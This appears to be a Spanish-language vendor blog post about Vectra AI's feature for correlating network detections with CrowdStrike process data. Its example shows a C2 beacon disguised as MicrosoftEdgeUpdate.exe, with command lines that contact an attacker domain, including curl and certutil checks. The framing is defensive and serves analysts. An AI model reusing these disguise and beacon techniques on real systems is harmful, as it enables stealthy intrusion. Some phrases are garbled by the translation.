Deja de buscar el «qué»: descúbrelo al instante.
Cuando aparece una actividad sospechosa, la primera pregunta que se hace todo analista es: ¿qué ha provocado esto?
Sin la respuesta, las investigaciones se estancan. Los analistas alternan entre consolas, buscan en la telemetría de los terminales, correlacionan marcas de tiempo y reconstruyen el contexto manualmente. Los minutos se convierten en horas. Mientras tanto, los atacantes se mueven lateralmente, extraen datos o establecen persistencia.
Esta es la brecha entre la detección de la red y la comprensión de los puntos finales, y es ahí donde las amenazas obtienen su ventaja.
El eslabón perdido entre la red y el punto final
La detección y respuesta de red (NDR) destaca en la detección de comportamientos sospechosos: comando y control, reconocimiento, movimiento lateral, exfiltración de datos. Pero la telemetría de red por sí sola no puede decirle qué proceso en el punto final inició ese comportamiento.
¿Era una sesión legítima del navegador? ¿Un script de PowerShell? ¿Un malware oculto?
La detección y respuesta en los puntos finales (EDR) captura esos detalles a nivel de proceso, pero sin la correlación con la actividad de la red, los analistas deben salvar manualmente esa brecha, buscando en CrowdStrike los procesos que se produjeron aproximadamente en el mismo periodo de tiempo, con la esperanza de identificar al culpable.
Esta correlación manual es lenta, propensa a errores e insostenible a gran escala.
Presentamos la correlación automática de procesos EDR
La nueva función Vectra AI, EDR Process Correlation, elimina por completo esta fricción investigativa y enriquece la contextualización.
Así es como funciona:
Cuando Vectra AI un comportamiento sospechoso en la red, consulta automáticamente la telemetría de CrowdStrike para ese host específico, analiza la actividad del proceso e identifica el proceso más probable que ha desencadenado la detección.
¿El resultado? Respuestas instantáneas y automáticas.
Los analistas ven el contexto completo del proceso directamente dentro de la Vectra AI :
Proceso probable
MicrosoftEdgeUpdate.exe
Tiempo de creación del proceso
2025-11-29T03:58:42Z
Línea de comandos
"C:\ProgramData\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" --connect vault-tech.org:443 --interval 300 --retry infinite
SHA256
c7e9a4b2f8d6c5e3a1f7d9b4c2e8a6f5d3b1c9e7a5f3d1b8c6e4a2f9d7b5c3e1
Ruta del archivo
\Device\HarddiskVolume2\ProgramData\Microsoft\EdgeUpdate\
Nombre de la cuenta
NT AUTHORITY\SYSTEM
Proceso principal
services.exe (PID: 668)
En cuestión de segundos, el analista tiene toda la información: 
- Lo que se ejecutó: un mecanismo de persistencia encubierto que imita el actualizador de Microsoft Edge.
- Cuándo se ejecutó: marca de tiempo exacta de la creación del proceso para la correlación de la línea de tiempo.
- Qué hizo: la línea de comandos expone el dominio C2 (vault-tech.org), intervalo de baliza de 5 minutos e intentos de reintento infinitos.
- Dónde se encuentra: Oculto en una ruta de carpeta de Microsoft de aspecto legítimo.
- Quién lo ejecutó: cuenta SYSTEM: privilegios máximos para persistencia y movimiento lateral.
- Qué lo generó: services.exe indica que este malware se malware como un servicio de Windows.
- Inteligencia sobre amenazas: hash SHA256 listo para comprobaciones inmediatas de reputación y correlación de fuentes de amenazas.
A primera vista, parece un software habitual de Microsoft. Pero la línea de comandos revela la verdad: se trata de una baliza C2 persistente con privilegios del SISTEMA, que se conecta cada 5 minutos y se disfraza como un actualizador legítimo.
Esa línea de comando por sí sola convierte el «tráfico de red potencialmente sospechoso» en una «amenaza persistente confirmada que requiere contención inmediata». Es una información muy valiosa para la investigación, que se obtiene automáticamente.
Además, con un solo clic, los analistas pueden acceder directamente al árbol de procesos completo y a la línea de tiempo forense de CrowdStrike cuando se necesita una investigación más profunda.
Sin búsquedas manuales. Sin cambios de consola. Sin conjeturas.
De horas a segundos: impacto real para los equipos SOC
Antes de la correlación de procesos EDR:
- El analista recibe la detección Vectra AI .
- Identifica el host afectado.
- Abre la consola CrowdStrike.
- Búsquedas de procesos en torno al periodo de detección
- Correlaciona las marcas de tiempo de la red con la actividad del proceso.
- Valida qué proceso es responsable.
- Tiempo medio: 15-30 minutos por detección.
Con la correlación de procesos EDR:
- El analista recibe Vectra AI con el proceso ya identificado.
- Reseñas con contexto enriquecido en línea
- Se conecta directamente con CrowdStrike si se necesita una investigación más profunda.
- Tiempo promedio: 30-60 segundos
Eso supone una reducción del 95 % en el tiempo de investigación, y se acumula en cada detección, cada día.
Más allá de los procesos individuales: de la detección a la búsqueda en toda la empresa
La correlación de procesos EDR no solo identifica el proceso probable, sino que proporciona un flujo de trabajo de investigación completo, desde la clasificación inicial hasta la búsqueda de amenazas en toda la empresa.
Contexto inmediato: Mostrar más procesos
Con un solo clic en «Mostrar más procesos», los analistas pueden ver toda la actividad de los procesos durante el periodo de detección. En este ejemplo, al revisar la lista de procesos se revela la progresión completa del ataque:
- msedge.exe - Acceso inicial mediante phishing
- curl.exe - Reconocimiento: curl.exe -I https://vault-tech.org --connect-timeout 5
El atacante valida la accesibilidad de C2 antes de comprometerse con la persistencia: una solicitud HEAD con tiempo de espera de conexión indica una seguridad operativa cautelosa.
- certutil.exe: validación SSL para verificar la infraestructura C2
En lugar del abuso típico para la descarga de archivos, aquí certutil verifica la cadena de certificados de C2, lo que garantiza que el túnel cifrado no active advertencias SSL ni errores de confianza que puedan alertar a los usuarios o a las herramientas de seguridad.
- MicrosoftEdgeUpdate.exe: túnel C2 persistente con balizas cada 5 minutos
Solo después de confirmar la accesibilidad de la infraestructura y la validez del SSL, el atacante establece el implante de balizas con intervalos de 5 minutos.
Investigación más profunda del host: CrowdStrike Pivot con un solo clic
Desde la misma interfaz, Investigate Host en CrowdStrike se abre directamente en la línea de tiempo completa del host dentro de Falcon. Los analistas pueden ampliar instantáneamente el marco temporal para ver los procesos antes o después de la ventana de detección, sin búsquedas manuales de hosts ni búsquedas de AID, solo con acceso inmediato al contexto completo del host.
Esto es muy valioso para comprender el alcance total: ¿Hubo reconocimiento días antes? ¿El atacante regresó con herramientas diferentes? La línea de tiempo está ahí mismo.
Búsqueda en toda la empresa: consulta de inteligencia sobre amenazas predefinida
El verdadero poder surge con Run Query en CrowdStrike, que genera una sofisticada consulta Falcon NGSIEM prellenada con todos los indicadores relevantes:
- Direcciones IP remotas
- Hashes SHA256
- Patrones de línea de comandos
- Características de ejecución del proceso
- Detalles de la conexión de red
A un analista con mucha experiencia le llevaría entre 10 y 15 minutos crear esta consulta de forma manual. Vectra AI la Vectra AI al instante, lista para ejecutarse en todo su entorno.
Ejemplo de caso de uso: la consulta se limita a este host de forma predeterminada, pero con una modificación (eliminar el filtro de host), los analistas pueden buscar inmediatamente:
- Cualquier otro punto final que se conecte a vault-tech.org
- Cualquier otro sistema que ejecute el mismo hash malicioso.
- Patrones similares en la línea de comandos que indican campañas relacionadas
Esto transforma una detección de un solo host en inteligencia sobre amenazas para toda la empresa en cuestión de segundos.
Esto resulta especialmente eficaz cuando NDR detecta actividad que EDR no ha señalado. El atacante logró pasar desapercibido a nivel de proceso, pero su comportamiento en la red lo delató. La correlación de procesos de EDR cubre esa brecha al instante, mostrando no solo lo que ocurrió, sino también la progresión completa del ataque.
Vea este ejemplo en acción:
Diseñado para investigaciones en el mundo real
Mediante la correlación inteligente de marcas de tiempo y la coincidencia probabilística de procesos, Vectra AI Process Correlation gestiona automáticamente la complejidad de los terminales modernos:
- Entornos multiproceso: identifica el proceso adecuado incluso cuando hay docenas ejecutándose simultáneamente.
- Cadenas de procesos secundarios: permite rastrear la actividad a través de las relaciones entre procesos principales y secundarios.
- Procesos de corta duración: captura el contexto incluso para los procesos que se ejecutan y terminan rápidamente.
- Tráfico cifrado: correlaciona el comportamiento de la red con los procesos, incluso cuando no es posible inspeccionar la carga útil.
Esta inteligencia permite tomar decisiones más rápidas y seguras en todo el flujo de trabajo de seguridad.
Visibilidad completa, respuesta unificada
La correlación de procesos EDR forma parte de la integración completa Vectra AI con CrowdStrike, lo que proporciona una claridad total sobre las amenazas:
- Contextualización de activos: los terminales gestionados por CrowdStrike se identifican automáticamente en Vectra AI el sistema operativo, el ID del sensor y los detalles de la última vez que se vieron.
- Correlación de procesos EDR: la telemetría de procesos se correlaciona automáticamente con las detecciones de red.
- Respuesta automatizada: Vectra AI activar acciones de contención del host a través de la API de CrowdStrike.
En conjunto, estas capacidades crean una defensa unificada que permite ver el historial completo del ataque, desde la ejecución inicial del proceso hasta la propagación por la red, sin intervención manual.
Por qué es importante ahora
Los atacantes combinan cada vez más las técnicas de los puntos finales con el movimiento de la red para evadir la detección. Malware en un punto final no permanece allí: se comunica con los servidores C2, se mueve lateralmente y extrae datos a través de la red.
Tus defensas deben moverse con la misma fluidez.
Al conectar automáticamente el contexto del proceso del punto final con las detecciones de la red, Vectra AI CrowdStrike exponen toda la cadena de ataque al instante. Los analistas obtienen una visibilidad completa entre dominios desde la primera alerta, sin pivotes, sin retrasos y sin puntos ciegos.
Vea la correlación de procesos EDR en acción
Vea cómo Vectra AI identifica Vectra AI el proceso iniciador de las detecciones de red y permite investigar con un solo clic en CrowdStrike.
¿Listo para acelerar sus investigaciones sobre amenazas?
Obtenga más información sobre la integración Vectra AI con CrowdStrike y cómo la correlación de procesos EDR proporciona contexto instantáneo para una respuesta más rápida y segura.